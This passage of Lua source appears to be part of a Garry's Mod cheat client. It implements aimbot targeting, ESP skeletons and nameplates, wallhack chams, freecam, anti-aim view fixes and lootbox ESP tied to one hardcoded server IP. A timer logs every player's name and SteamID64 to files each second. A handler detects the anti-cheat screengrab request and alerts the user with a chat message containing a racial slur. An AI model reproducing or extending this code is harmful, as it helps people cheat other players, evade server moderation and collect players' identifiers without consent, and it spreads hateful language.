        FASTWALK_C, FREECAM_C1, THIRDPERSON_C, DESYNC_C, 
        VRMOD_INVISIBLE_C, LoadKey_C, AIMBOT_C,
        SPAMDOORS_C, FREECAM_C, CLIMBSWEP_C, SPAMTAUNT_C,
        AUTOARREST_C, UNLOAD_C
    }

    for _, func in ipairs(createmove_functions) do
        func(cmd)
    end

    if var.keybind.MENU && IsBindPressed(var.keybind.MENU) then
        if not var.toggleKeyPressed then
            ToggleCheatMenu()
            var.toggleKeyPressed = true
        end
    else
        var.toggleKeyPressed = false
    end

    if psa then
        MovementFix(cmd, wish_yaw)
    else
        var.fa = cmd:GetViewAngles()
    end
end

VARhooks("CreateMove", a)
function GAMEMODE:CreateMove(cmd) return true end

--		 :::     ::: ::::::::::: :::::::::: :::       ::: 
--		 :+:     :+:     :+:     :+:        :+:       :+: 
--		 +:+     +:+     +:+     +:+        +:+       +:+ 
--		 +#+     +:+     +#+     +#++:++#   +#+  +:+  +#+ 
--		  +#+   +#+      +#+     +#+        +#+ +#+#+ +#+ 
--		   #+#+#+#       #+#     #+#         #+#+# #+#+#  
--		     ###     ########### ##########   ###   ###

vieworigin = var.me:EyePos()
local function getView(fangs, origin, angles, fov)
    local view = {
        origin = origin,
        angles = fangs,
        fov = ftg.vars["VIOL_FOV"] and 120 or fov,
        drawviewer = false
    }
    
    if freecamEnabled then
        view.origin = freecamPos
        view.angles = freecamAngles
        view.drawviewer = true
    elseif var.thirdPersonEnabled then
        view.origin = origin - (fangs:Forward() * 80)
        view.drawviewer = true
    elseif targetspec and IsValid(targetspec) then
        view.origin = targetspec:EyePos() - (fangs:Forward() * 130)
        view.drawviewer = true
    end
    
    return view
end

VARhooks("CalcView", function(ply, origin, angles, fov, znear, zfar)
    local fangs = var.fa or angles
    local view = getView(fangs, origin, angles, fov)
    vieworigin = origin
    return view
end)

local VMCalcCalled

VARhooks("CalcViewModelView", function(wep, vm, oldPos, oldAng, pos, ang, ...)

    if VMCalcCalled then return end
    VMCalcCalled = true
    if not ftg.vars["VIOL_FREECAM"] then
        pos = vieworigin
        if ftg.vars["VIOL_PSILENT"] or ftg.vars["VIOL_SILENT"] or ftg.vars["VIOL_ANTIAIM"] then
            ang = var.fa
        end
    end
    VMCalcCalled = nil
    return pos, ang
end)

--		 :::    ::: :::    ::: :::::::::     :::::::::      :::     ::::::::::: ::::    ::: ::::::::::: 
--		 :+:    :+: :+:    :+: :+:    :+:    :+:    :+:   :+: :+:       :+:     :+:+:   :+:     :+:     
--		 +:+    +:+ +:+    +:+ +:+    +:+    +:+    +:+  +:+   +:+      +:+     :+:+:+  +:+     +:+     
--		 +#++:++#++ +#+    +:+ +#+    +:+    +#++:++#+  +#++:++#++:     +#+     +#+ +:+ +#+     +#+     
--		 +#+    +#+ +#+    +#+ +#+    +#+    +#+        +#+     +#+     +#+     +#+  +#+#+#     +#+     
--		 #+#    #+# #+#    #+# #+#    #+#    #+#        #+#     #+#     #+#     #+#   #+#+#     #+#     
--		 ###    ###  ########  #########     ###        ###     ### ########### ###    ####     ###


local function MYHUDPAINT()
    if var.sg then return end
    if not var.HUDPAINT then return end
    var.hitlogs.on_draw()

    if ftg.vars["VIOL_ESP"] then
        for k, v in ipairs(player.GetAll()) do
            if not IsValid(v) or v == var.me or not v:Alive() or v:IsDormant() or IsOutOfFOV(v) then continue end 
            local color = nil
            if IsFriend(v:SteamID()) then
                color = Color(0, 255, 0)
            else
                color = Color(255, 0, 0)
            end

            for _, b in pairs(var.SkeletonTBL) do
                local fBone = v:LookupBone(b.F)
                local bBone = v:LookupBone(b.B)
                if fBone and bBone then
                    local spos, epos = v:GetBonePosition(fBone):ToScreen(), v:GetBonePosition(bBone):ToScreen()
                    if spos.visible and epos.visible then
                        var.surface_SetDrawColor(color)
                        var.surface_DrawLine(spos.x, spos.y, epos.x, epos.y)
                    end
                end
            end

            local screen_pos = (v:GetPos() + Vector(0, 0, 70)):ToScreen()
            var.draw_SimpleTextOutlined(v:Nick(), Trebuchet18, screen_pos.x, screen_pos.y - 10, color, 1, 1, 1, Color(30, 30, 30, 255))
        end
    end

    if ftg.vars["VIOL_AIMBOT"] then
        local cloply = GetPlayerInCircle()
        if cloply then
            local bonePos = cloply:GetBonePosition(cloply:LookupBone("ValveBiped.Bip01_Head1"))
            local direction = (bonePos - var.me:GetShootPos()):Angle()
            if VisibleCheck(cloply, bonePos, direction:Forward()) then

                local health = cloply:Health()
                local armor = cloply:Armor()

                local health_color = Color(0, 255, 0)
                if health <= 25 then
                    health_color = Color(255, 0, 0)
                elseif health <= 50 then
                    health_color = Color(255, 165, 0)
                end

                local screenCenterX, screenCenterY = var.ScrW() / 2, var.ScrH() / 2
                var.draw_SimpleText(health, "Default", screenCenterX, screenCenterY - 25, health_color, TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
                var.draw_SimpleText(armor, "Default", screenCenterX, screenCenterY - 10, Color(0, 191, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
            end
        end
    end
    if IsValid(var.lastplayerhit) and !ftg.vars["VIOL_AIMBOT"] then
        local cloply = var.lastplayerhit
        local health = cloply:Health()
        local armor = cloply:Armor()
    
        if health <= 0 then
            var.lastplayerhit = nil
            lastHitTime = nil
            return
        end
    
        lastHitTime = lastHitTime or var.CurTime()
        
        local tempsEcoule = var.CurTime() - lastHitTime
        local opacity = tempsEcoule < 10 and 255 or var.math_clamp(255 - (tempsEcoule - 10) * 300, 0, 255)
    
        local health_color = Color(0, 255, 0, opacity)
        if health <= 25 then
            health_color = Color(255, 0, 0, opacity)
        elseif health <= 50 then
            health_color = Color(255, 165, 0, opacity)
        end
    
        local screenCenterX, screenCenterY = var.ScrW() / 2, var.ScrH() / 2
        var.draw_SimpleText(health, "Default", screenCenterX, screenCenterY - 25, health_color, TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
        var.draw_SimpleText(armor, "Default", screenCenterX, screenCenterY - 10, Color(0, 191, 255, opacity), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
    
    else
        if lastHitTime then
            local tempsEcoule = var.CurTime() - lastHitTime
            local opacity = tempsEcoule < 10 and 255 or var.math_clamp(255 - (tempsEcoule - 10) * 300, 0, 255)
    
            local screenCenterX, screenCenterY = var.ScrW() / 2, var.ScrH() / 2
            var.draw_SimpleText("", "Default", screenCenterX, screenCenterY - 25, Color(255, 255, 255, opacity), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
            var.draw_SimpleText("", "Default", screenCenterX, screenCenterY - 10, Color(255, 255, 255, opacity), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
    
            if opacity <= 0 then
                lastHitTime = nil
                var.lastplayerhit = nil
            end
        else
            var.lastplayerhit = nil
        end
    end

	var.anglecross = var.anglecross + FrameTime() * 50

	local function RotatePoint(x, y, angle)
		local cosA = var.math_cos(var.math_rad(var.anglecross))
		local sinA = var.math_sin(var.math_rad(var.anglecross))
		return var.centerX + (x * cosA - y * sinA), var.centerY + (x * sinA + y * cosA)
	end

	for i, seg in ipairs(var.segments) do
		color = GetColorForMaterial(i)
		
		var.surface_SetDrawColor(color[1], color[2], color[3])

		local x1, y1 = RotatePoint(seg[1], seg[2], var.anglecross)
		local x2, y2 = RotatePoint(seg[3], seg[4], var.anglecross)
		var.surface_DrawLine(x1, y1, x2, y2)
	end
  
	if game.GetIPAddress() == "194.147.90.169:24215" then
		for _, ent in ipairs(ents.GetAll()) do
			if string.StartWith(ent:GetClass(), "ent_lootbox") then
				local color = var.entityColors[ent:GetClass()] or Color(255, 255, 255, 255)

				local mins, maxs = ent:OBBMins(), ent:OBBMaxs()
				local corners = {
					ent:LocalToWorld(Vector(mins.x, mins.y, mins.z)),
					ent:LocalToWorld(Vector(mins.x, mins.y, maxs.z)),
					ent:LocalToWorld(Vector(mins.x, maxs.y, mins.z)),
					ent:LocalToWorld(Vector(mins.x, maxs.y, maxs.z)),
					ent:LocalToWorld(Vector(maxs.x, mins.y, mins.z)),
					ent:LocalToWorld(Vector(maxs.x, mins.y, maxs.z)),
					ent:LocalToWorld(Vector(maxs.x, maxs.y, mins.z)),
					ent:LocalToWorld(Vector(maxs.x, maxs.y, maxs.z))
				}

				local screenCorners = {}
				for _, corner in ipairs(corners) do
					local screenPos = corner:ToScreen()
					if screenPos.visible then
						table.insert(screenCorners, screenPos)
					end
				end

				if #screenCorners == 8 then
					var.surface_SetDrawColor(color)

					local edges = {
						{1, 2}, {2, 4}, {4, 3}, {3, 1},
						{5, 6}, {6, 8}, {8, 7}, {7, 5},
						{1, 5}, {2, 6}, {3, 7}, {4, 8}
					}

					for _, edge in ipairs(edges) do
						local p1, p2 = screenCorners[edge[1]], screenCorners[edge[2]]
						var.surface_DrawLine(p1.x, p1.y, p2.x, p2.y)
					end
				end
			end
		end
	end
end

--		  ::::::::  :::    :::     :::     ::::    ::::   ::::::::  
--		 :+:    :+: :+:    :+:   :+: :+:   +:+:+: :+:+:+ :+:    :+: 
--		 +:+        +:+    +:+  +:+   +:+  +:+ +:+:+ +:+ +:+        
--		 +#+        +#++:++#++ +#++:++#++: +#+  +:+  +#+ +#++:++#++ 
--		 +#+        +#+    +#+ +#+     +#+ +#+       +#+        +#+ 
--		 #+#    #+# #+#    #+# #+#     #+# #+#       #+# #+#    #+# 
--		  ########  ###    ### ###     ### ###       ###  ########

local function ApplyMaterial(v, material)
    Glow2:SetVector("$color2", Vector(1, 1, 1))
    render.SetColorModulation(1, 1, 1)
    render.MaterialOverride(Glow2)
    for i = 0, 5 do
        local colors = {
            {1, 0.3, 0.3}, {0.3, 1, 0.3}, {0.3, 0.3, 1},
            {1, 1, 0}, {1, 0, 1}, {0, 1, 1}
        }
        render.SetModelLighting(i, unpack(colors[i + 1]))
    end
    v:DrawModel()
end

local function RenderChams(entities, validate)
    for _, v in ipairs(entities) do
        if not IsValid(v) or v == var.me or not v:Alive() or v:IsDormant() then continue end 
        if (validate and validation(v) or not validate) and (ftg.vars["VIOL_THIRD"] and ftg.vars["VIOL_ANTIAIM"] or not IsOutOfFOV(v)) then
            local oldPos = v:GetPos()
            var.supenglight(true)
            v:SetRenderMode(RENDERMODE_TRANSALPHA)
            camignorez(true)
            ApplyMaterial(v, material)
            var.supenglight(false)
        end
    end
end

local function CHAMS()
    if ftg.vars["VIOL_CHAMS"] and !var.sg then
        RenderChams(player.GetAll(), true)
    end
    if ftg.vars["VIOL_PROPSCHAMS"] and !var.sg then
        RenderChams(ents.FindByClass("prop_physics"), false)
    end
end

VARhooks("PreDrawEffects", CHAMS)

local IsDrawingGlow = false
local drawing = false
VARhooks("PreDrawViewModel", function(vm)
	if ftg.vars["VIOL_WEAPONCHAMS"] and !var.sg then
        var.supenglight(true)
        Glow2:SetVector("$color2", Vector(1, 1, 1))
        render.SetColorModulation(1, 1, 1)
        render.MaterialOverride(Glow2)
        for i = 0, 5 do
            local colors = {
                {1, 0.3, 0.3}, {0.3, 1, 0.3}, {0.3, 0.3, 1},
                {1, 1, 0}, {1, 0, 1}, {0, 1, 1}
            }
            render.SetModelLighting(i, unpack(colors[i + 1]))
        end
    else
        render.SetColorModulation(1, 1, 1)
        var.supenglight(false)
	end



    if ftg.vars["VIOL_WEAPONFOV"] then
        if not drawing then
            if var.sg then return end
            cam.Start3D(nil, nil, var.weaponfov)
            render.DepthRange( 0.2, 0 )
            drawing = true
            vm:DrawModel()
            drawing = false
            cam.End3D()
        else
            return
        end
        return true
    else
        return false
    end
end)

VARhooks("PostDrawViewModel", function()
	if ftg.vars["VIOL_WEAPONCHAMS"] then
        
		render.SetColorModulation(1, 1, 1)
		render.MaterialOverride(None)
		render.SetBlend(1)
		var.supenglight(false)
		if IsDrawingGlow then return end

		IsDrawingGlow = true
		var.me:GetViewModel():DrawModel()
		IsDrawingGlow = false
	end
end)

--		 :::    ::: ::::::::::: :::::::::::     ::::::::   ::::::::  :::    ::: ::::    ::: :::::::::  
--		 :+:    :+:     :+:         :+:        :+:    :+: :+:    :+: :+:    :+: :+:+:   :+: :+:    :+: 
--		 +:+    +:+     +:+         +:+        +:+        +:+    +:+ +:+    +:+ :+:+:+  +:+ +:+    +:+ 
--		 +#++:++#++     +#+         +#+        +#++:++#++ +#+    +:+ +#+    +:+ +#+ +:+ +#+ +#+    +:+ 
--		 +#+    +#+     +#+         +#+               +#+ +#+    +#+ +#+    +#+ +#+  +#+#+# +#+    +#+ 
--		 #+#    #+#     #+#         #+#        #+#    #+# #+#    #+# #+#    #+# #+#   #+#+# #+#    #+# 
--		 ###    ### ###########     ###         ########   ########   ########  ###    #### #########

local helpers = {
    lerp = function(self, start, end_pos, time, delta)
        if (var.math_abs(start - end_pos) < (delta or 0.01)) then return end_pos end

        time = FrameTime() * (time * 175) 
        if time < 0 then
          time = 0.01
        elseif time > 1 then
          time = 1
        end
        return ((end_pos - start) * time + start)
    end,
}

local MultiColorText = function(data, x, y)
    local total_width = 0
    local width = 0
    surface.SetFont( "font" )

    for _, v in pairs(data) do
        local text = v[1]
        if text == nil then continue end
        local text_width, text_height = surface.GetTextSize( text )
        total_width = total_width + text_width
    end

    for _, v in ipairs(data) do
        local text = v[1]
        if text == nil then continue end
        local text_width, text_height = surface.GetTextSize( text )
        local x2 = (x - total_width / 2 + width)
        var.draw_SimpleText( v[1], "font", x2 + 1, y + 1, Color( 0, 0, 0, v[2].a) )
        var.draw_SimpleText( v[1], "font", x2, y, v[2] )
        width = width + text_width
    end
end

var.hitlogs.on_draw = function()
    local sc = {x = var.ScrW(), y = var.ScrH()}
    local x, y = sc.x/2, sc.y/1.1
    var.add.y = 0
    for k, v in ipairs(var.hitlogs.data) do
        local text = v[1]
        local r, g, b = v.color.r, v.color.g, v.color.b
        local realtime = RealTime()
        if v.time + 1 > realtime then
            v.alpha = helpers:lerp(v.alpha, 1, 0.095)
            v.alpha1 = helpers:lerp(v.alpha, 1, 0.05)
        end

        var.add.y = var.add.y + 15*v.alpha
        local wh = Color(255, 255, 255, v.alpha*255)
        local ch = Color(r, g, b, v.alpha*255)
        MultiColorText({
            {
                text[1],
                wh
            },
            {
                text[2],
                ch
            },
            {
                text[3],
                wh
            },
            {
                text[4],
                ch
            },
            {
                text[5],
                wh
            },
            {
                text[6],
                ch
            },
            {
                text[7],
                wh
            },
            {
                text[8],
                ch
            },
            {
                text[9],
                wh
            }
        }, x + v.alpha1*100 - 100, y - var.add.y)
        
        if v.time + 5 < realtime then
            v.alpha = helpers:lerp(v.alpha, 0, 0.05)
            v.alpha1 = helpers:lerp(v.alpha1, 2, 0.04)
        end
        if v.alpha < 0.01 and (v.time + 6 < realtime) or #var.hitlogs.data > 50 then
            table.remove(var.hitlogs.data, k)
        end
    end
end

surface.CreateFont("font", {
    font = "Verdana",
    size = 15,
    antialias = true
})

local hitboxes = {
    ["ValveBiped.Bip01_R_Hand"] = "Right Hand",
    ["ValveBiped.Bip01_R_Forearm"] = "Right Hand",
    ["ValveBiped.Bip01_R_UpperArm"] = "Right Hand",

    ["ValveBiped.Bip01_L_Hand"] = "Left Hand",
    ["ValveBiped.Bip01_L_Forearm"] = "Left Hand",
    ["ValveBiped.Bip01_L_UpperArm"] = "Left Hand",

    ["ValveBiped.Bip01_Spine2"] = "Chest",

    ["ValveBiped.Bip01_Pelvis"] = "Pelvis",
    
    ["ValveBiped.Bip01_R_Thigh"] = "Right Leg",
    ["ValveBiped.Bip01_R_Calf"] = "Right Leg",
    ["ValveBiped.Bip01_R_Toe0"] = "Right Leg",
    ["ValveBiped.Bip01_R_Foot"] = "Right Leg",

    ["ValveBiped.Bip01_L_Thigh"] = "Left Leg",
    ["ValveBiped.Bip01_L_Calf"] = "Left Leg",
    ["ValveBiped.Bip01_L_Toe0"] = "Left Leg",
    ["ValveBiped.Bip01_L_Foot"] = "Left Leg",

    ["ValveBiped.Bip01_Head1"] = "Head"
}

gameevent.Listen( "player_hurt" )
VARhooks("player_hurt", function( data )
    local health = data.health
	local priority = SERVER and data.Priority or 5
	local attackerid = data.attacker
    local ply = Player( data.attacker )
    local plu = Player( data.userid )

    if (ply == nil or ply:IsPlayer() == false) or plu == nil then return end
    if attackerid == var.me:UserID() then
        surface.PlaySound("rust.wav")
        var.lastplayerhit = plu
        table.insert(var.hitlogs.data, {
        {
            "Hit ",
            plu:Nick(),
            " for ",
            var.toStr(string.gsub(data.health-plu:Health(), "-", "")),
            " damage (",
            var.toStr(plu:Health()), " HP | ", var.toStr(plu:Armor()), 
            " ARMOR remaining)",
        },
        alpha = 0,
        alpha1 = 0,
        time = RealTime(),
        color = Color(255, 0, 0),
        })
    end
end)

--		  ::::::::   ::::::::  :::::::::      :::     :::::::::  :::::::::: 
--		 :+:    :+: :+:    :+: :+:    :+:   :+: :+:   :+:    :+: :+:        
--		 +:+        +:+        +:+    +:+  +:+   +:+  +:+    +:+ +:+        
--		 +#++:++#++ +#+        +#++:++#:  +#++:++#++: +#++:++#+  +#++:++#   
--		        +#+ +#+        +#+    +#+ +#+     +#+ +#+        +#+        
--		 #+#    #+# #+#    #+# #+#    #+# #+#     #+# #+#        #+#        
--		  ########   ########  ###    ### ###     ### ###        ##########

local function SavePlayerInfoToFile()
    if ftg.vars["VIOL_SCRAPE"] then
        local serverName = GetHostName()
        local fullServerIP = game.GetIPAddress()
        local serverIP = fullServerIP:match("([^:]+)")
        local dateTime = os.date("%Y-%m-%d %H:%M:%S")
        local filePath = ".scrape/" .. serverIP .. ".txt"
        local existingEntries = {}
        
        if file.Exists(filePath, "DATA") then
            local existingContent = var.file_read(filePath, "DATA")
            for _, line in ipairs(string.Split(existingContent, "\n")) do
                if line ~= "" then
                    local existingName = var.string_match(line, "^[^,]+") 
                    existingEntries[existingName] = true
                end
            end
        end

        local newEntries = {}
        
        for _, ply in ipairs(player.GetAll()) do
            local playerName = ply:Nick()
            local steamID64 = ply:SteamID64()
            local newInfoLine = string.format("%s, %s, %s, %s, %s", playerName, steamID64, dateTime, serverName, serverIP)

            if not existingEntries[playerName] then
                newEntries[#newEntries + 1] = newInfoLine
                existingEntries[playerName] = true
            end
        end

        if #newEntries > 0 then
            file.Append(filePath, table.concat(newEntries, "\n") .. "\n")
            print("[INFO] Informations des joueurs sauvegardées dans le fichier: " .. filePath)
        end
    end
end

timer.Create("SavePlayerInfoTimer", 1, 0, SavePlayerInfoToFile)

--		     :::     ::::    ::: ::::::::::: :::::::::::     ::::::::  :::::::::::  ::::::::  
--		   :+: :+:   :+:+:   :+:     :+:         :+:        :+:    :+:     :+:     :+:    :+: 
--		  +:+   +:+  :+:+:+  +:+     +:+         +:+        +:+            +:+     +:+        
--		 +#++:++#++: +#+ +:+ +#+     +#+         +#+        :#:            +#+     +#++:++#++ 
--		 +#+     +#+ +#+  +#+#+#     +#+         +#+        +#+   +#+#     +#+            +#+ 
--		 #+#     #+# #+#   #+#+#     #+#         #+#        #+#    #+#     #+#     #+#    #+# 
--		 ###     ### ###    ####     ###     ###########     ########      ###      ########

if var.gts then
    net.Receive("GimmeThatScreen_Request", function(len) 
    local Authed = net.ReadBool() 
    local ply = net.ReadEntity() 
    local UINT6 = var.net_ReadString() 
    local UINT10 = var.net_ReadString()    
    chatText(ply, " Nigger want to screengrab you !!!") end)
end

function GAMEMODE:HUDPaint()
    var.ORIGINALHUDPAINT(self)
    MYHUDPAINT()
end

function GAMEMODE.PreDrawPlayerHands()
    if ftg.vars["VIOL_UNLOAD"] then
	    return false
    else
        return true
    end
end

print("[JIT] Status initial: ", var.j.status())